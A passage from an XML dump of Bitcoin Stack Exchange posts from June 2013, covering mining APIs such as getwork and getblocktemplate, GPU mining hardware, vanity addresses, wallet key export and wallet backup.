exchange rate of (now useless) Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, as long as you can send information around the globe at a decent speed, you can still use Bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-06-03T10:03:50.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11438" PostTypeId="1" CreationDate="2013-06-03T10:55:54.573" Score="1" ViewCount="575" Body="&lt;p&gt;I am playing around with a bitcoin miner and wanted to run some tests. Hence I wanted to find the nonce of an already mined block. Lets take  &lt;a href=&quot;http://blockchain.info/block-index/353394/0000000000000083ee9371ddff055eed7f02348e4eda36c741a2fc62c85bc5cf&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/block-index/353394/0000000000000083ee9371ddff055eed7f02348e4eda36c741a2fc62c85bc5cf&lt;/a&gt; as an example. I can find the nonce. I can calculate the block header. But how do I find out what the target was as well as what the &lt;code&gt;midstate and data&lt;/code&gt; was when the &lt;code&gt;getwork&lt;/code&gt; was called for that particular block at the time of mining?&lt;/p&gt;&#xA;" OwnerUserId="4803" LastEditorUserId="5406" LastEditDate="2016-03-31T09:50:34.210" LastActivityDate="2016-03-31T09:50:34.210" Title="Find the midstate of an already mined block" Tags="|api|mining-technical-details|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11439" PostTypeId="2" ParentId="11433" CreationDate="2013-06-03T12:39:52.247" Score="0" Body="&lt;p&gt;I haven't used this wallet but from what you're saying, it seems there is no problem. Here is how it works:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Wallets will not display your private keys for your addresses on the the display. That's normal. Private keys are important so they should not be left dangling around.(What if someone is looking at your screen?) That's why the program does not show it to you. But private keys are there. The private key for each address is saved on your computer by the wallet program.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Import does not mean taking these saved private keys and showing them on the display. If you created a bitcoin address somewhere and if you know the private key, then you can make the program send the bitcoins on that address. to do this, you need to tell the program, this is my address and this is my private key. Then it will automatically start holding/owning that address.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How do you get the private keys? That's the export function. It will create a file for you that contains your addresses and your private keys. You can take this file, load it to another wallet program on another computer or the web and that new wallet will own/hold and be able to send the bitcoins on your addresses.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I hope it helps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you get an online wallet. You can create a paper wallet from those as well. Google how to...&lt;/p&gt;&#xA;" OwnerUserId="2995" LastActivityDate="2013-06-03T12:39:52.247" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11441" PostTypeId="2" ParentId="3730" CreationDate="2013-06-03T18:53:57.343" Score="8" Body="&lt;p&gt;There's this thread on bitcoin talk:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=90982.0&quot;&gt;https://bitcointalk.org/index.php?topic=90982.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I personally generated this address: 1&lt;b&gt;Boyishness&lt;/b&gt;fwHq3wSkCkJ7iafUdjhghfU which is the longest one I'm aware of that's not mixed case. It was generated by feeding oclvanitygen a large number of potential prefixes from a large wordlist.&lt;/p&gt;&#xA;" OwnerUserId="5414" LastActivityDate="2013-06-03T18:53:57.343" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11442" PostTypeId="1" CreationDate="2013-06-03T20:48:56.660" Score="1" ViewCount="5794" Body="&lt;p&gt;For example, obviously it doesn't matter what type of adapters a video card offers when it comes to Bitcoin mining? Is the GPU speed or the amount of RAM the most important part in terms of megahashes per second?&lt;/p&gt;&#xA;" OwnerUserId="2552" LastEditorUserId="5406" LastEditDate="2016-03-17T15:20:29.690" LastActivityDate="2016-03-17T15:20:32.440" Title="What is the most important parts of the video card in Bitcoin mining?" Tags="|mining-hardware|hashpower|gpu-mining|memory|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11443" PostTypeId="2" ParentId="8000" CreationDate="2013-06-03T21:02:41.507" Score="3" Body="&lt;p&gt;Section 6.7 of the Skrill ToS bans sending payments that are &quot;in connection with any money changing or transmitting business, including but not limited to bureaus de change or currency exchanges&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin trade counts as currency exchange, so yeah.&lt;/p&gt;&#xA;" OwnerUserId="5354" LastActivityDate="2013-06-03T21:02:41.507" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11444" PostTypeId="2" ParentId="4869" CreationDate="2013-06-03T21:29:29.400" Score="2" Body="&lt;p&gt;I run a provably fair casino - BitSaloon. I'd love feedback on how we can improve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.bitsaloon.com/about/fair&quot; rel=&quot;nofollow&quot;&gt;http://www.bitsaloon.com/about/fair&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Random numbers are generated with sha256(salt + tx_hash) as a seed to Alea (an open source random number generator). If your generated number is less than or equal to the win percent, you get paid. All of this is verifiable by a user.&lt;/p&gt;&#xA;" OwnerUserId="5087" LastActivityDate="2013-06-03T21:29:29.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11445" PostTypeId="2" ParentId="2994" CreationDate="2013-06-04T00:16:58.957" Score="4" Body="&lt;p&gt;Exactly like all of the other mined bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some quirks about it, though. For example, the previous block hash is all zeros, because no block came before it. Also, those bitcoins can't be spent, because of a quirk in the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, if there's only one node in the network, it's not really a decentralized payment processing system.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-06-04T00:16:58.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11447" PostTypeId="1" CreationDate="2013-06-04T00:29:56.697" Score="4" ViewCount="745" Body="&lt;p&gt;Is it possible to mine scrypt and sha256 coins at the same time on one GPU?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rationale: Hashrate of scrypt mining is limited by memory bandwidth. That means that some of the processor cycles are wasted because the processors are waiting data from RAM. These wasted processor cycles could be used insted for sha256 mining which needs much less bandwidth.&lt;/p&gt;&#xA;" OwnerUserId="5418" LastEditorUserId="5406" LastEditDate="2016-04-17T20:07:33.307" LastActivityDate="2016-04-17T20:07:33.307" Title="Combined scrypt/SHA256 mining on one GPU" Tags="|gpu-mining|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11448" PostTypeId="2" ParentId="2316" CreationDate="2013-06-04T01:41:29.927" Score="1" Body="&lt;p&gt;The Blackberry World (app store) shows two wallet apps:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://appworld.blackberry.com/webstore/content/23952882/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Wallet by Andreas Schildbach&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://appworld.blackberry.com/webstore/content/20080938/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Spinner&lt;/a&gt; (unofficial release, so I'ld check first on the Bitcoin Spinner forum thread to see if it is verified as a straight port with no wallet stealing code injected)]&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-06-04T01:41:29.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11450" PostTypeId="2" ParentId="9128" CreationDate="2013-06-04T03:19:33.780" Score="0" Body="&lt;p&gt;Download the OpenCL drivers for the processor you have from the official links;&#xA;&lt;a href=&quot;http://en.wikipedia.org/wiki/OpenCL#Drivers&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/OpenCL#Drivers&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I installed the OpenCL drivers for AMD and am now able to mine using my hex core AMD system CPU along with the GPU.   I installed the Intel OpenCL drivers inside of VMware fusion on my MacBook Pro and am able to mine using guiminer within VMware fusion in Windows 7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For comparison, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get 1Mh/s in VMware Fusion Win7 64BIT on my MacBook Pro Retina (early 2013) using the CPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get 4.7Mh/s using GUIMiner inside OS X using the CPU and OpenCL.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get 1.7Mh/s using GUIMiner and OpenCL for the CPU on my AMD X6 1045T.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get 22Mh/s on my MacBook Pro using BitMinter and my GT 650-M GPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get 17Mh/s on my AMD Win7 using GUIMiner and my nVidia 620 GPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a bit shocked that the 620 and 650 GPU results are so similar.&lt;/p&gt;&#xA;" OwnerUserId="5419" LastActivityDate="2013-06-04T03:19:33.780" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11451" PostTypeId="1" AcceptedAnswerId="11453" CreationDate="2013-06-04T03:49:13.647" Score="2" ViewCount="1084" Body="&lt;p&gt;I am working on an fpga mining device just for fun. I realized that there is a getblocktemplate function which replaces the getwork Json-rpc call. So do I need to switch over to it and change all the code or can I continue using it . Will getwork be removed from bitcoin later or will it still be supported? &lt;/p&gt;&#xA;" OwnerUserId="4803" LastEditorUserId="18196" LastEditDate="2016-04-10T17:11:47.160" LastActivityDate="2016-04-10T17:17:24.980" Title="Should I use getwork or getblocktemplate" Tags="|getwork|getblocktemplate|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11452" PostTypeId="1" CreationDate="2013-06-04T04:03:21.633" Score="3" ViewCount="570" Body="&lt;p&gt;Lets say I want to find out what getwork would have returned for an already mined block &lt;a href=&quot;http://blockexplorer.com/block/00000000000000001e8d6829a8a21adc5d38d0a473b144b6765798e61f98bd1d&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/block/00000000000000001e8d6829a8a21adc5d38d0a473b144b6765798e61f98bd1d&lt;/a&gt;. How would I go about doing this?&lt;/p&gt;&#xA;" OwnerUserId="4803" LastActivityDate="2014-01-25T11:56:02.433" Title="How do I find out what getwork would have returned for an already mined block?" Tags="|blockchain|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11453" PostTypeId="2" ParentId="11451" CreationDate="2013-06-04T04:47:23.340" Score="4" Body="&lt;p&gt;The advantage of &lt;code&gt;getblocktemplate&lt;/code&gt; is that work units from it last longer, because you can change the extraNonce field. That's nice if you're writing an fpga miner, because it saves bandwidth. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;s&gt;&lt;code&gt;getwork&lt;/code&gt; will probably never go away. It's useful and not very hard to maintain. Note that that's a personal opinion; I'm not one of the Bitcoin developers.&lt;/s&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: &lt;code&gt;getwork&lt;/code&gt; has been removed in v0.10.0, so you have to use &lt;code&gt;getblocktemplate&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-03-22T00:01:14.877" LastActivityDate="2015-03-22T00:01:14.877" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11454" PostTypeId="2" ParentId="10828" CreationDate="2013-06-04T05:02:50.523" Score="6" Body="&lt;p&gt;I'm copying this from &lt;a href=&quot;https://bitcointalk.org/index.php?topic=25804.msg828418#msg828418&quot; rel=&quot;nofollow noreferrer&quot;&gt;deepceleron's post&lt;/a&gt; on bitcointalk:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The change happens at a particular address:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;prefix difficulty: 77178 1QLa &lt;br&gt;&#xA;  prefix difficulty: 78362 1QLb &lt;br&gt;&#xA;  prefix difficulty: 4553521 1QLc &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This is a quirk of how the 25-byte (50 digit hexadecimal) Bitcoin&#xA;  address is converted into Base58 (represented by numbers and letters),&#xA;  and the different maximum values that can be stored in 25 base256&#xA;  digits vs 34 base58 digits.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The Bitcoin address in it's native binary form (that you never see) is&#xA;  25 bytes, it's parts are:&lt;br&gt;&#xA;  &lt;strong&gt;byte 0:&lt;/strong&gt; Network ID Byte (0x00 for main&#xA;  bitcoin network)&lt;br&gt;&#xA;  &lt;strong&gt;byte 1-20:&lt;/strong&gt; ripemd160 hash (20 bytes) of sha256 hash&#xA;  (32 bytes) of 0x04+public key (65 bytes)&lt;br&gt;&#xA;  &lt;strong&gt;byte 21-24:&lt;/strong&gt; checksum: first&#xA;  four bytes of sha256 hash of sha256 hash of bytes 0-20 above&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This would be 50 hexadecimal characters long (base16), with a possible&#xA;  digit value between 0-F.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We will ignore byte 0, it is always 0x00, and Base58 conversion always&#xA;  preserves this leading 0 byte by directly encoding it as a &quot;1&quot;.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;That means the &quot;vanity&quot; part of the address is bytes 1-24, 24 bytes of&#xA;  random hash output, or 48 hexadecimal digits. The maximum value that&#xA;  this can be is 0x FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF FFFF&#xA;  ffff ffff (the lower case &quot;f&quot;s are the checksum, and won't be all&#xA;  FFFFs for the maximum ripemd160 value.) We can guess from the output&#xA;  below that this maximum possible address value encoded in Base58&#xA;  becomes 1QLbxxxxxx.... something:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1QLa8LNNFeYs7KJWvxMdR5YtRjkwtQtkyb&#xA;1QLabhman6ZQyz3musbqV1RjFmE3pyT29j&#xA;1QLaJHv2LCSYo8WgT9qPf4rdttduRGyozX&#xA;1QLarwzJCUWGuQEZ4uWPsYVz8N2P5XmeQU&#xA;&#xA;1QLckWG2tx17suupYU2FfeWunTCZMuJKW&#xA;1QLcMk7NVLwvg8gw2ihJTuG8x7WLYCjMg&#xA;1QLcLr6AoN687CpH1JZnfeMmWvUka5NHX&#xA;1QLc47945bSCv4J1Z4yRuvUbtooQqmGJ1&#xA;1QLcU9NNxaqfvqMRXD8dFtL2SktL3YmBT&#xA;1QLc1D24uDbvy327MzifEChVvATAeDsbF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;See how the 1QLa addresses are full length, but the 1QLc addresses are&#xA;  one digit shorter? That is because the only way to have an address&#xA;  starting at 1QLc or greater is by having a binary address that is 59x&#xA;  smaller.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5420" LastEditorUserId="51948" LastEditDate="2017-10-22T00:51:06.297" LastActivityDate="2017-10-22T00:51:06.297" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11455" PostTypeId="2" ParentId="9379" CreationDate="2013-06-04T05:47:55.680" Score="5" Body="&lt;p&gt;Try this site for schematics:  &lt;a href=&quot;https://github.com/BitSyncom/avalon-ref&quot;&gt;https://github.com/BitSyncom/avalon-ref&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know the answer, don't be a jerk.  Just answer the question.  It helps to have answers/discussions for the same issue in many different places.  This is one of the first pages that comes up when you search &quot;asic schematics&quot;&lt;/p&gt;&#xA;" OwnerUserId="5421" LastActivityDate="2013-06-04T05:47:55.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11456" PostTypeId="1" AcceptedAnswerId="11462" CreationDate="2013-06-04T06:30:45.543" Score="1" ViewCount="1260" Body="&lt;p&gt;I called bitcoind getwork slightly earlier in the day and this is what I got:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;midstate&quot; : &quot;6d8b2d759123e7311c552f0c99f6d520378062ac7a14fb11f6d433779d282faf&quot;,&#xA;    &quot;data&quot; : &quot;00000002c2bf65e9637a1c11955c2ba1c45c9bffad322d4fa0d9529e0000014300000000e9587c30863f5f410ea9d0611d3da6b7d0afd390b4b8e33cd71297c9d20dc74651ad7ea71a01616400000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000&quot;,&#xA;    &quot;hash1&quot; : &quot;00000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000010000&quot;,&#xA;    &quot;target&quot; : &quot;0000000000000000000000000000000000000000000000646101000000000000&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So for the time being lets throw away the midstate which I will not be using since I am only trying to understand.&#xA;So now doing the 32 bit byteswap on the data I get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Data&#xA;02000000 e965bfc2111c7a63a12b5c95ff9b5cc4 4f2d32ad9e52d9a04301000000000000 307c58e9415f3f8661d0a90eb7a63d1d90d3afd03ce3b8b4c99712d746c70dd2 a77ead51 6461011a 00000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I am unable to figure out how to actually read this information. According to the wiki, the first 4 bytes are version. Here the first 4 bytes are version. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Version:&#xA;02000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Isnt it supposed to be 2. The above is a really large number in big endian.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the previuos hash block:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Hash:&#xA;e965bfc2111c7a63a12b5c95ff9b5cc44f2d32ad9e52d9a04301000000000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am unable to find this hash anywhere on blockexplorer or block chain info? I tried to change the endianess once again but to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally I left the merkle root out and tried to confirm with the utc time:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Time:&#xA;a77ead51&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which corresponds to the year 2081. What exactly am I doing wrong here?&lt;/p&gt;&#xA;" OwnerUserId="4803" LastEditorUserId="2306" LastEditDate="2013-06-04T16:08:57.237" LastActivityDate="2013-06-04T16:09:22.253" Title="I am unable to figure the getwork api" Tags="|getwork|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11459" PostTypeId="1" CreationDate="2013-06-04T12:55:38.433" Score="10" ViewCount="1854" Body="&lt;p&gt;I am working on a Blockchain.info-like block explorer, and I have some questions regarding best practice for data retrieval. Bitcoin Core stores and serves all blocks and, if txindex is set to 1, all transactions too. It doesn't, however, have an option where you can tell it to maintain an index of all addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote a script that iterates through all blocks and inserts the address/txId key pairs into a MySQL table indexed on address. It maintains the index by polling for new blocks. The program doesn't yet take into account unconfirmed transactions, and chain reorganizations can result in invalid data. Is there a better way to do it?&lt;/p&gt;&#xA;" OwnerDisplayName="user4042" LastEditorUserId="7412" LastEditDate="2015-07-08T06:11:17.553" LastActivityDate="2015-07-08T06:11:17.553" Title="What's the best practice for creating and maintaining an address index?" Tags="|blockchain|development|json-rpc|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11460" PostTypeId="1" CreationDate="2013-06-04T13:59:01.317" Score="-3" ViewCount="511" Body="&lt;p&gt;I'm running a HYIP website I'm considering to use Bitcoin. Does Bitcoin have a limit on funding or withdrawal amount? Is there any chance Bitcoin blocks my account because I receive money from a HYIP website?&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="5428" LastActivityDate="2015-05-02T09:37:47.967" Title="Does Bitcoin accept HYIP website?" Tags="|payment|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11461" PostTypeId="2" ParentId="11460" CreationDate="2013-06-04T14:18:33.360" Score="5" Body="&lt;p&gt;There is no way one can have his account blocked in Bitcoin and there are no funding or withdrawal amounts limits. However, you should take into account that all Bitcoin is pseudo-anonymous, i.e. although there is no direct connection between you and your account address, all transactions are public and could be tracked by anyone.&lt;/p&gt;&#xA;" OwnerUserId="4723" LastActivityDate="2013-06-04T14:18:33.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11462" PostTypeId="2" ParentId="11456" CreationDate="2013-06-04T16:09:22.253" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Isnt it supposed to be 2. The above is a really large number in big endian.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's a small number in big endian. Think about it; &lt;em&gt;big&lt;/em&gt; digits at the &lt;em&gt;end&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Now the previuos hash block&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't know why Bitcoin does this, but block hashes are stored in normal order internally, then byte-reversed before displaying them. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; s=&quot;e965bfc2111c7a63a12b5c95ff9b5cc44f2d32ad9e52d9a04301000000000000&quot;&#xA;&amp;gt;&amp;gt;&amp;gt; import binascii&#xA;&amp;gt;&amp;gt;&amp;gt; s=binascii.unhexlify(s)&#xA;&amp;gt;&amp;gt;&amp;gt; s=s[::-1]&#xA;&amp;gt;&amp;gt;&amp;gt; s=binascii.hexlify(s)&#xA;&amp;gt;&amp;gt;&amp;gt; s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;'&lt;a href=&quot;https://blockchain.info/block-index/388514/0000000000000143a0d9529ead322d4fc45c9bff955c2ba1637a1c11c2bf65e9&quot; rel=&quot;nofollow&quot;&gt;0000000000000143a0d9529ead322d4fc45c9bff955c2ba1637a1c11c2bf65e9&lt;/a&gt;'&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Time:&lt;br&gt;&#xA;  a77ead51&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Use big endian. I got 1370324647 using &lt;a href=&quot;http://www.darkfader.net/toolbox/convert/&quot; rel=&quot;nofollow&quot;&gt;this tool&lt;/a&gt;, then converted to 04 Jun 2013 with &lt;a href=&quot;http://www.epochconverter.com/&quot; rel=&quot;nofollow&quot;&gt;this tool.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2013-06-04T16:09:22.253" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11463" PostTypeId="2" ParentId="11442" CreationDate="2013-06-04T16:21:07.233" Score="1" Body="&lt;p&gt;SHA256 does not require much, but if you intend to use it for scrypt mining too, it's said that memory is most important, i.e. speed and size.&lt;/p&gt;&#xA;" OwnerUserId="5072" LastActivityDate="2013-06-04T16:21:07.233" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11465" PostTypeId="1" AcceptedAnswerId="11495" CreationDate="2013-06-04T16:38:19.907" Score="3" ViewCount="851" Body="&lt;p&gt;Hijacking the connection between a powerful mining cluster and its mining pool, then impersonating the pool and claiming the mining results seems to be a likely attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How are mining pools authenticated to clients to avoid such attacks?&lt;/p&gt;&#xA;" OwnerUserId="2462" LastActivityDate="2013-06-05T21:03:35.867" Title="How are mining pools authenticated to clients?" Tags="|mining-pools|security|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11467" PostTypeId="1" AcceptedAnswerId="11470" CreationDate="2013-06-04T17:31:48.930" Score="3" ViewCount="1644" Body="&lt;p&gt;I am trying to complete the instructions described here &lt;a href=&quot;https://en.bitcoin.it/wiki/Securing_your_wallet#Windows&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Securing_your_wallet#Windows&lt;/a&gt; . I have already done the Truecrypt part and installed the Bitcoin client. But i have one question i need help with before i can continue. Do i delete the Bitcoin folder &amp;amp; data directory in Appdata after i copy it onto an encrypted drive ? Or does it need to remain there to function even though it would then also be in the encrypted drive if not deleted ?&lt;/p&gt;&#xA;" OwnerUserId="5431" LastActivityDate="2013-06-04T17:51:45.283" Title="Do i delete the Bitcoin folder &amp; data directory in Appdata after i copy it on an encrypted drive?" Tags="|wallet|security|backup|encryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11468" PostTypeId="2" ParentId="11459" CreationDate="2013-06-04T17:37:40.183" Score="2" Body="&lt;p&gt;I'm not sure that your question matches your title, but anyway:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding polling the blockchain, you should take a look at the '-blocknotify' option available in the 0.8.2 daemon.  This will send you a block hash every time that the latest block changes.  You will need to handle the situation where the valid chain changes for any reason within whatever script you write (check block height and go from there).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unconfirmed transactions are another matter; there's nothing right now in the official daemon which will help you here so if you do want these you don't have much choice other than to poll or to patch the official daemon to send you details of unconfirmed transactions.  What you do with them is very much dependent on what you are trying to achieve, however.&lt;/p&gt;&#xA;" OwnerUserId="3187" LastActivityDate="2013-06-04T17:37:40.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11469" PostTypeId="1" CreationDate="2013-06-04T17:48:33.767" Score="2" ViewCount="2915" Body="&lt;p&gt;I have recently finished installing the Bitcoin client. One site i was using to help guide me is called &lt;a href=&quot;http://www.weusecoins.com/en/&quot; rel=&quot;nofollow&quot;&gt;http://www.weusecoins.com/en/&lt;/a&gt;. On the mining guide section of that site it says, If you're mining on your own you need to start by setting up your Bitcoin client and set it up for JSON-RPC. I was trying to figure out what it is and how to set it up if i need it but i could not figure it out. My questions then are what is JSON-RPC and do i need it ? Is it set up by default in the original Bitcoin client ? &lt;/p&gt;&#xA;" OwnerUserId="5431" LastEditorUserId="5406" LastEditDate="2016-04-25T15:38:42.570" LastActivityDate="2016-04-25T15:38:42.570" Title="What is JSON-RPC and do i need it?" Tags="|client|json-rpc|mining-setup|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11470" PostTypeId="2" ParentId="11467" CreationDate="2013-06-04T17:51:45.283" Score="3" Body="&lt;p&gt;Make sure to delete &lt;strong&gt;wallet.dat&lt;/strong&gt; - that's the only file with sensitive information. (You might want to run a utility such as &lt;a href=&quot;http://en.wikipedia.org/wiki/Shred_%28Unix%29&quot; rel=&quot;nofollow&quot;&gt;unix shred&lt;/a&gt; on it to make sure it's really deleted).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Just a warning&lt;/strong&gt; - before deleting, rename the file, and try to copy it from your backup and see if everything works.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-06-04T17:51:45.283" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11471" PostTypeId="1" AcceptedAnswerId="11496" CreationDate="2013-06-04T18:06:06.343" Score="5" ViewCount="15515" Body="&lt;p&gt;Is it better to mine solo? Is pooled mining what is recommended now? I've heard you get about the same back either way, but I am confused and would like some help.&lt;/p&gt;&#xA;" OwnerUserId="5431" LastEditorUserId="5406" LastEditDate="2016-01-20T20:27:54.140" LastActivityDate="2016-01-20T20:27:54.140" Title="What are the advantages and disadvantages of pooled mining?" Tags="|mining-pools|solo-mining|mining-profitability|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11472" PostTypeId="1" CreationDate="2013-06-04T21:57:39.813" Score="5" ViewCount="35014" Body="&lt;p&gt;What part of the bitcoin network requires hashes and why? What is the relation between money and the megahashes a card can do?&lt;/p&gt;&#xA;" OwnerUserId="2552" LastEditorUserId="5406" LastEditDate="2016-04-10T12:18:24.823" LastActivityDate="2021-08-13T13:44:46.597" Title="What is a megahash and how is it used to estimate the rate at which bitcoins are mined?" Tags="|hash|mining-theory|hashpower|investing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11473" PostTypeId="2" ParentId="11472" CreationDate="2013-06-04T22:57:53.570" Score="6" Body="&lt;p&gt;A hash is a function that takes a string as an input, does a transformation of it, and returns a second string that's considerably shorter than the original and that could be considered is the &amp;quot;resume&amp;quot; of the original. You can check &lt;a href=&quot;http://en.wikipedia.org/wiki/Hash_function&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia's Hash definition&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hashes are required for &amp;quot;mining&amp;quot;. I'm new to Bitcoin so I may describe this wrongly: As part of mining, miners compete to discover a short number that, when added to the end of a string (which contains all recent transactions since 10 minutes ago) produces a hash with a specific number of zeros at the beginning. The correctness of such a discovery can be easily verified by anyone but finding that small apendix is computationally very, very hard. The first miner to discover such a key to &amp;quot;lock&amp;quot; a block is awarded the reward - 25 BTCs as of now.&lt;/p&gt;&#xA;&lt;p&gt;Here in comes the 